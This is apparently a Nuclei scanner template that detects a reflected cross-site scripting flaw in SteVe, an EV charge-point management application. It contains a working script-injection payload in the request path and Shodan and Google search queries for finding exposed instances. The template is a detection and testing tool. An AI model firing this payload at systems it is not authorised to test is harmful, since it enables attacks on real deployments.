39 lines
1.0 KiB
YAML
39 lines
1.0 KiB
YAML
|
id: steve-xss
|
||
|
|
||
|
info:
|
||
|
name: SteVe - Cross-Site Scripting
|
||
|
author: clem9669
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The aim of SteVe is to support the deployment and popularity of electric mobility. SteVe provides basic functions for the administration of charge points.
|
||
|
reference:
|
||
|
- https://github.com/steve-community/steve
|
||
|
metadata:
|
||
|
verified: true
|
||
|
shodan-query: http.title:"SteVe - Steckdosenverwaltung"
|
||
|
google-query: intitle:"SteVe - Steckdosenverwaltung"
|
||
|
tags: steve,xss
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- '{{BaseURL}}/steve/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/'
|
||
|
- '{{BaseURL}}/services/"%3E%3Cscript%3Ealert(document.domain)%3C/script%3E/services/'
|
||
|
|
||
|
stop-at-first-match: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- '<script>alert(document.domain)</script>/services/?stylesheet=1">'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "text/html"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|